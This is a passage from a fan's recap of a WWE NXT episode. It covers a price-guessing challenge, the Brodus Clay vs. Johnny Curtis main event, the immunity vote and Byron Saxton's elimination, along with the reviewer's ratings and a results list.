Naomi is up next and presents WWE Kids Magazine.  By presents I mean holds up and smiles if you’re wondering.  Clay is closest with $1.  Oh ok you can’t go over.  That makes sense.  AJ is back again with a foam World Heavyweight Championship.  Saxton gets it right on the nose at $19.99.

Bateman says he said the same thing which he didn’t.  This is rather stupid if you didn’t get it but it’s surprisingly entertaining.  Naomi has the History of the WWE Book.  Clay wins with 23 dollars.  Saxton went just over with 23.95.  Ziggler (I think): “That’s the first time Saxton has ever been over!”

Clay and Curtis are tied for immunity.  My what luck that they have a match later.

Video about the Road to Wrestlemania going through the Elimination Chamber.

Truth is with Curtis in the back and they talk about the accusations of Truth saying Curtis has a big head behind his back.  Truth’s leg seems to be fine after the attack last night.

Brodus Clay vs. Johnny Curtis

 

This is the main event.  Apparently Josh thinks he gets to decide who gets immunity.  The superstars make fun of Truth not knowing the right town last night.  Curtis hammers away to start to control.  Clay takes over with a fireman’s carry into a hot shot.  Nice overhead suplex gets two for Clay.  The match drags badly so the Turd chant gets going again.  Ziggler eggs it on and continues to be one of the funniest parts of this show.

Dolph leaves and Brodus hammers away.  Curtis gets a slingshot legdrop to the back of Clay’s neck for two.  Dolph is back and Grisham hits on Maryse who is at the top of the stage now.  Top rope dropkick gets no cover as Clay is in the ropes.  Brodus gets a shot to the throat using the ropes and a powerslam ends it at 6:22.  The announcers called it a bulldog slam because they’re not very intelligent.

Rating: C-. This was a little better, but there are only so many times that these four guys can fight each other.  The match was ok but the level of interest is just completely gone.  Clay is cool, Curtis isn’t interesting, Clay is better than everyone else in the competition.  That’s the end of the stuff we can learn here but it’s what we keep seeing.

2-21-11 promo again with the grave line from last night.

Clay and Curtis get 20 seconds to say why they should get immunity.  Curtis says it’s because the Packers Rule.  Curtis says the Steelers should have won.  Why?  They scored less points.  Naturally Curtis wins the live crowd approval and gets immunity.  Dang it I hate this show.  He just got beat clean so let’s give him the advantage.  Saxton is out and can’t talk due to tears.  Ah ok there it is.

Saxton says that it’s ok and everyone makes mistakes.  He’ll forgive them though and will be back.  Ziggler goes off on him in a great rant to make Saxton mad.  Masters tells Saxton to punch him.  Instead he points at Ziggler to end the show.

Overall Rating: D. I wasn’t impressed tonight.  The immunity thing is a joke because it’s clear that Curtis was either the weakest or second weakest.  He lost to Clay and STILL gets immunity?  That makes less than no sense but something tells me he’ll manage to win this thing anyway because he’s what WWE has decided we want to see despite no one caring about him.  Bad show this week mainly due to the booking at the end.

Results

Byron Saxton won the Rock-Em Sock-Em Challenge

Derrick Bateman b. Byron Saxton – LeBell Lock

Brodus Clay won the WWEshop.com Challenge

Brodus Clay b. Johnny Curtis – Powerslam

Byron Saxton was eliminated in 4th place